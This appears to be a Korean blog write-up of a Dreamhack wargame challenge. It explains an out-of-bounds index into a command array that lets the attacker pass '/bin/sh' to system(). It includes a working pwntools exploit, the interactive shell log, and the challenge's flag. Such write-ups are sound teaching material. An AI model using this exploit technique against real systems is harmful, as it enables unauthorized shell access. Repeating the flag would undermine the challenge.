Description

    이 문제는 서버에서 작동하고 있는 서비스(out_of_bound)의 바이너리와 소스 코드가 주어집니다.
    프로그램의 취약점을 찾고 익스플로잇해 셸을 획득하세요.
    “flag” 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
    플래그의 형식은 DH{…} 입니다.

    Environment

    [*] '/home/ubuntu/CTF/dreamhack.io/out_of_bound/out_of_bound'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)

    #include <stdio.h>
    #include <stdlib.h>
    #include <signal.h>
    #include <unistd.h>
    #include <string.h>
    
    char name[16];
    
    char *command[10] = { "cat",
        "ls",
        "id",
        "ps",
        "file ./oob" };
    void alarm_handler()
    {
        puts("TIME OUT");
        exit(-1);
    }
    
    void initialize()
    {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
    
        signal(SIGALRM, alarm_handler);
        alarm(30);
    }
    
    int main()
    {
        int idx;
    
        initialize();
    
        printf("Admin name: ");
        read(0, name, sizeof(name));
        printf("What do you want?: ");
    
        scanf("%d", &idx);
    
        system(command[idx]);
    
        return 0;
    }

    전역 변수 idx를 name을 입력받고
    idx 값을 입력받아 command에 있는 명령들을 실행시킬 수 있지만,

    입력할 수 있는 idx 값의 범위가 따로 정해져있지 않다는 문제점이 있다.

    ASLR이 비활성화되었기 때문에 코드 세그먼트에 있는 메모리 주소가 고정되어 있으므로
    command[idx]를 name 포인터 주소로 가리키게 만들고
    name 포인터 주소에는 /bin/sh를 가리키는 주소를 넣으면 된다.

    name은 0x0804a0ac에 있으므로

    gdb-peda$ info var name
    All variables matching regular expression "name":
    
    Non-debugging symbols:
    0x0804a0ac  name

    아래와 같이 name을 입력받으면 된다.



    그리고 idx는 name을 가리키는 주소로 가리키게 만들기 위해
    간단한 산수면 충분하다.

    eax가 idx이므로,
    0x0804a0ac(name 주소) = idx * 4 + 0x804a060,
    idx = 19가 된다.

    int __cdecl main(int argc, const char **argv, const char **envp)
    ...
    0x0804872c <+97>:    call   0x8048540 <__isoc99_scanf@plt>
    0x08048731 <+102>:	add    esp,0x10
    0x08048734 <+105>:	mov    eax,DWORD PTR [ebp-0x10]
    0x08048737 <+108>:	mov    eax,DWORD PTR [eax*4+0x804a060]
    0x0804873e <+115>:	sub    esp,0xc
    0x08048741 <+118>:	push   eax
    0x08048742 <+119>:	call   0x8048500 <system@plt>
    ...

    from pwn import *
    
    context.log_level='debug'
    
    p = remote('host3.dreamhack.games', 17213)
    
    payload = p32(0x804a0b0) + b"/bin/sh"
    
    p.sendafter("Admin name: ", payload)
    p.sendlineafter("What do you want?: ", b"19")
    p.interactive()
    ubuntu@docker:~/CTF/dreamhack.io/out_of_bound$ python3 out_of_bound.py
    [+] Opening connection to host3.dreamhack.games on port 17213: Done
    [DEBUG] Received 0xc bytes:
        b'Admin name: '
    [DEBUG] Sent 0xb bytes:
        00000000  b0 a0 04 08  2f 62 69 6e  2f 73 68                  │····│/bin│/sh│
        0000000b
    [DEBUG] Received 0x13 bytes:
        b'What do you want?: '
    [DEBUG] Sent 0x3 bytes:
        b'19\n'
    [*] Switching to interactive mode
    $ ls
    [DEBUG] Sent 0x3 bytes:
        b'ls\n'
    [DEBUG] Received 0x12 bytes:
        b'flag\n'
        b'out_of_bound\n'
    flag
    out_of_bound
    $ cat flag
    [DEBUG] Sent 0x9 bytes:
        b'cat flag\n'
    [DEBUG] Received 0x24 bytes:
        b'DH{2524e20ddeee45f11c8eb91804d57296}'
    DH{2524e20ddeee45f11c8eb91804d57296}

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다